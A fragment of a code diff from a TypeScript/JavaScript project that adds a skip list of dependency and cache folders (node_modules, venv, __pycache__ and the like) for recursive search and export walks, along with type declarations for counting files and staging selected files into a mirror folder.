+ console.log(`[relay] Discord screenshots (token #${i + 1}): ${String(e)}`);
804
806
  }
805
807
  }
806
808
  }
@@ -0,0 +1,8 @@
1
+ /**
2
+ * Dependency / cache directory names skipped during recursive **search** (under user-data scope),
3
+ * **mirror staging** (download / Hub / zip), and **file-count** walks so huge trees do not stall exports.
4
+ *
5
+ * Does **not** affect normal `fs_list` of an explicitly opened folder — only recursive search & export walks.
6
+ */
7
+ export declare const EXPLORER_HEAVY_SUBDIR_NAMES: Set<string>;
8
+ export declare function explorerHeavySubdirNameSkipped(name: string): boolean;
@@ -0,0 +1,26 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.EXPLORER_HEAVY_SUBDIR_NAMES = void 0;
4
+ exports.explorerHeavySubdirNameSkipped = explorerHeavySubdirNameSkipped;
5
+ /**
6
+ * Dependency / cache directory names skipped during recursive **search** (under user-data scope),
7
+ * **mirror staging** (download / Hub / zip), and **file-count** walks so huge trees do not stall exports.
8
+ *
9
+ * Does **not** affect normal `fs_list` of an explicitly opened folder — only recursive search & export walks.
10
+ */
11
+ exports.EXPLORER_HEAVY_SUBDIR_NAMES = new Set([
12
+ "node_modules",
13
+ "venv",
14
+ ".venv",
15
+ "env",
16
+ ".env",
17
+ "__pycache__",
18
+ "site-packages",
19
+ "dist-packages",
20
+ ".tox",
21
+ ".mypy_cache",
22
+ ".pytest_cache",
23
+ ]);
24
+ function explorerHeavySubdirNameSkipped(name) {
25
+ return exports.EXPLORER_HEAVY_SUBDIR_NAMES.has(String(name || "").trim().toLowerCase());
26
+ }
@@ -6,10 +6,22 @@ export type CopyMirrorStagingOptions = {
6
6
  };
7
7
  /** True when a short wait and re-copy might succeed (another process releasing a shared lock). */
8
8
  export declare function isRetryableCopyError(err: unknown): boolean;
9
- /** Count regular files under `dir` (symlinks ignored). Used to detect “all files skipped” mirrors. */
9
+ /**
10
+ * Count regular files under `dir` (symlinks ignored).
11
+ * Skips the same dependency/cache subtree names as {@link copyDirectoryTreeSelective} so staged counts
12
+ * match what mirror + zip will actually include.
13
+ */
10
14
  export declare function countRegularFilesRecursive(dir: string): number;
11
15
  export declare function copySelectionToMirrorStaging(absoluteSource: string, workRoot: string, opts?: CopyMirrorStagingOptions): Promise<{
12
16
  mirrorPath: string;
13
17
  baseName: string;
14
18
  }>;
15
19
  export declare function removeMirrorStaging(workRoot: string): Promise<void>;
20
+ /**
21
+ * Mirror multiple absolute file/dir selections into one flat folder with unique entry names
22
+ * (same staging idea as Hub multi-upload `selection.zip`).
23
+ */
24
+ export declare function mirrorSelectionsIntoFlatStage(absoluteSources: string[], stageRoot: string, opts?: CopyMirrorStagingOptions): Promise<{
25
+ stagedItems: number;
26
+ skippedItems: number;
27
+ }>;